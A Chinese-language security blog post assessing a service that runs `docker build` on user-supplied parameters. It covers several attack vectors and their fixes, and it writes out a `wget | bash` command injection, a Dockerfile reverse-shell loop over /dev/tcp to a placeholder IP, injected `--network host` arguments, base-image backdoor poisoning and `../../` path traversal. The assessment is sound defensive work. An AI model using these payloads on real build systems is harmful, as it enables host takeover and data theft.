docker build時的安全問題
背景
業務提供一個功能：根據用戶的代碼倉庫編譯鏡像，并且管理鏡像。
編譯鏡像時的業務實現類似下面這樣，其中image_name_tag、dockerfile_file、dockerfile_path變量都是從外部web入口傳入的。
docker build ${DOCKER_BUILD_ARG} -t ${image_name_tag} -f ${dockerfile_file} ${dockerfile_path}
如果你是這個業務的研發或者安全測試人員，你覺得這里會產生哪些安全漏洞？
我的分析
命令執行
我想大家第一個都會想到"命令執行漏洞"：image_name_tag變量如果用戶傳入`wget -c http://xxx/x.sh | bash -c`就能執行遠程服務器上的腳本，拿到宿主機服務器權限。
如果研發大哥對傳入的變量做了黑名單呢(比如判斷是否包含$、`)，還有其他安全漏洞嗎？
Dockerfile中反彈shell
-f ${dockerfile_file}這里Dockerfile的內容是用戶可控的，所以也很容易想到：我們可以在Dockerfile中寫任意命令，獲取到"反彈shell"。
FROM ubuntuMAINTAINER Victor Coisne victor.coisne@dotcloud.comRUN echo "while ((1));do sleep 1;/bin/sh -i >& /dev/tcp/x.x.x.x/xxxx 0>&1;done" >> /tmp/1.sh # x.x.x.x/xxxx是ip和端口RUN bash /tmp/1.sh
在"反彈shell"中我們可以嘗試去訪問"dockerd服務"所在的宿主機網絡，或者宿主機能訪問到的網絡，然后可以去測試網絡中的脆弱服務。
如果研發大哥在這里用iptables對容器和宿主機網絡做了隔離，還有其他安全漏洞嗎？
用戶數據泄漏
Dockerfile中的第一行FROM如果我填寫其他用戶編譯好的鏡像名稱，是不是有可能讀到其他用戶鏡像呢？
雖然"鏡像名稱"難猜中，但是這個風險確實是存在的。
如果研發大哥在構建鏡像并推送到鏡像倉庫后，然后用docker rmi清空本地的鏡像緩存，就不存在這種風險了，那還有其他安全漏洞嗎？
給所有鏡像種個后門
age_name_tag是編譯后的鏡像名，Dockerfile中的第一行FROM指令又需要一個基礎鏡像，那么是否存在如下可能：A用戶使用的基礎鏡像是B用戶build生成。如果存在這個可能，那一個惡意用戶build生成帶后門的nginx、ubuntu等基礎鏡像，就可以導致其他用戶的生成鏡像時都帶上后門。
測試后，發現"dockerd服務"默認會使用本地鏡像，所以會出現上面的問題。
--pull=true|falseAlways attempt to pull a newer version of the image. The default is false.
如果研發大哥使用了docker build --pull=true每次拉取最新鏡像，還有其他安全漏洞嗎？
命令參數注入--network host
如果傳入image_name_tag參數值是xxx --network host,可以達到docker build xxx --network host的效果，配合Dockerfile中反彈shell，可以讓shell和"dockerd服務"處于同一個網絡。這樣iptables對容器和宿主機的網絡隔離就不起作用了。
當然你還可以注入--build-arg讀宿主機環境變量，或者看看docker build還有沒有其他的命令行參數可以拿來利用。
如果研發大哥對參數值判斷了，不允許-符號傳入呢，還有其他安全漏洞嗎？
服務數據泄漏
下面的命令可以把"docker客戶端"的/tmp、../../目錄下的文件全部拷貝到"編譯容器"中，配合Dockerfile中反彈shell，可以在shell中讀到"docker客戶端"機器上的。
docker build -f ./Dockerfile /tmpdocker build -f ./Dockerfile ../../
同時你可能需要用.dockersignore文件忽略某些文件或目錄，避免一些大文件被拷貝到"編譯容器"。
所以如果用戶傳入dockerfile_path參數為../../這種形式的路徑，是可以讀到機器上的文件。
如果研發大哥判斷用戶傳入的參數，不允許出現..這種目錄跳轉，還有其他安全漏洞嗎？
emm，反正我想不到其他的攻擊點了。
另外我想補充說明一下，docker是一個cs架構的軟件，所以在做漏洞利用時需要清楚我們是在誰的網絡環境下、讀誰的文件（誰指的是客戶端還是服務端）
總結
本文介紹了一個docker相關的安全評估的案例，包括其中的風險點和修復措施，希望你能有點收獲。
在做這個評估時，我的感受是：有時候業務評估非常依賴評估人員自身的經驗，并且好像沒有辦法依賴一個方法論(比如stride)評估出所有風險點。
